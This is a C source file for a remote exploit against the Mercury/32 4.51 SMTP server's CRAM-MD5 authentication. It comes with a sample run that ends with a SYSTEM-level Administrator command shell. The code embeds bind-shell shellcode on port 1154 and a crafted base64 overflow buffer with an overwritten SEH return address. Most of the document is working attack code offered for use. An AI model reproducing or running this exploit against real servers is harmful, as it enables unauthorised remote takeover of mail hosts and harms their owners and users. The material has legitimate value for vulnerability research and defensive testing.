/* Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal) Public Version 1.0 http://www.ph4nt0m.org 2007-08-22 Code by: Zhenhan.Liu Original POC: http://www.milw0rm.com/exploits/4294 Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html Our Mail-list: http://list.ph4nt0m.org (Chinese) It will bind a cmdshell on port 1154 if successful. Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25 == Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow == Public Version 1.0 == http://www.ph4nt0m.org 2007-08-22 [*] connect to 127.0.0.1:25 ... OK! [C] EHLO void#ph4nt0m.org [S] 220 root ESMTP server ready. [S] 250-root Hello void#ph4nt0m.org; ESMTPs are: 250-TIME [S] 250-SIZE 0 [S] 250 HELP [C] AUTH CRAM-MD5 [S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+ [C] Send Payload... [-] Done! cmdshell@1154? Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154 DNS fwd/rev mismatch: localhost != gnu localhost [127.0.0.1] 1154 (?) open Microsoft Windows XP [版本 5.1.2600] (C) 版权所有 1985-2001 Microsoft Corp. e:\MERCURY>whoami whoami Administrator */ #include #include #include #pragma comment(lib, "ws2_32") /* win32_bind - EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */ unsigned char shellcode[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"; // Base64字符集 __inline char GetB64Char(int index) { const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; if (index >= 0 && index < 64) return szBase64Table[index]; return '='; } // 从双字中取单字节 #define B0(a) (a & 0xFF) #define B1(a) (a >> 8 & 0xFF) #define B2(a) (a >> 16 & 0xFF) #define B3(a) (a >> 24 & 0xFF) // 编码后的长度一般比原文多占1/3的存储空间,请保证base64code有足够的空间 inline int Base64Encode(char * base64code, const char * src, int src_len) { if (src_len == 0) src_len = strlen(src); int len = 0; unsigned char* psrc = (unsigned char*)src; char * p64 = base64code; for (int i = 0; i < src_len - 3; i += 3) { unsigned long ulTmp = *(unsigned long*)psrc; register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F); register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F); register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F); *((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24; len += 4; p64 += 4; psrc += 3; } // 处理最后余下的不足3字节的饿数据 if (i < src_len) { int rest = src_len - i; unsigned long ulTmp = 0; for (int j = 0; j < rest; ++j) { *(((unsigned char*)&ulTmp) + j) = *psrc++; } p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F); p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '='; p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '='; p64 += 4; len += 4; } *p64 = '\0'; return len; } char* GetErrorMessage(DWORD dwMessageId) { static char ErrorMessage[1024]; DWORD dwRet; dwRet = FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options NULL, // pointer to message source dwMessageId, // requested message identifier 0, //dwLanguageId ErrorMessage, //lpBuffer 1024, //nSize NULL //Arguments ); if(dwRet) return ErrorMessage; else { sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId); return ErrorMessage; } } int MakeConnection(char *address,int port,int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons((short)port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; } int check_recv(SOCKET s, char* str_sig) { char buf[1024]; int ret; for(;;) { memset(buf, 0, sizeof(buf)); ret = recv(s, buf, sizeof(buf), 0); if(ret > 0) { printf("[S] %s", buf); } else { printf("[-] recv() %s\n", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } if(strstr(buf, str_sig)) { break; } else { continue; } } //for(;;) return ret; } int check_send(SOCKET s, char* buf, unsigned int buf_len) { int ret; ret = send(s, buf, buf_len, 0); if( ret >0) { return ret; } else { printf("[-] send() %s\n", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } } void exploit_mercury_smtpd(char* ip, unsigned short port) { SOCKET s; WSADATA wsa; char buf[1500]; char payload[sizeof(buf)*4/3+16]; int base64_len; memset(buf, 0x90, sizeof(buf)); memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode)); memcpy(&buf[1244], "\x90\x90\xeb\x06", 4); memcpy(&buf[1244+4], "\x2d\x12\x40\x00", 4); //universal opcode in mercury.exe. no safeseh memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff", 9); buf[sizeof(buf)-1] = '\0'; memset(payload, 0x00, sizeof(payload)); base64_len = Base64Encode(payload, buf, sizeof(buf)); memcpy(&payload[base64_len], "\r\n", 3); printf("[*] connect to %s:%d ... ", ip, port); WSAStartup(MAKEWORD(2,2), &wsa); s = MakeConnection(ip, port, 10); if(s <= 0) { printf("Failed! %s\n", GetErrorMessage(GetLastError()) ); return; } else { printf("OK!\n"); } _snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org\r\n"); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "250 HELP"); _snprintf(buf, sizeof(buf), "AUTH CRAM-MD5\r\n"); printf("[C] %s", buf); check_send(s, buf, strlen(buf)); check_recv(s, "334"); printf("[C] Send Payload...\n"); check_send(s, payload, strlen(payload)); printf("[-] Done! cmdshell@1154?\n"); closesocket(s); WSACleanup(); } void main(int argc, char* argv[]) { printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n"); printf("== Public Version 1.0\n"); printf("== http://www.ph4nt0m.org 2007-08-22\n"); printf("== code by Zhenhan.Liu\n\n"); if(argc==3) exploit_mercury_smtpd(argv[1], atoi(argv[2])); else { printf( "Usage:\n" " %s \n", argv[0]); } }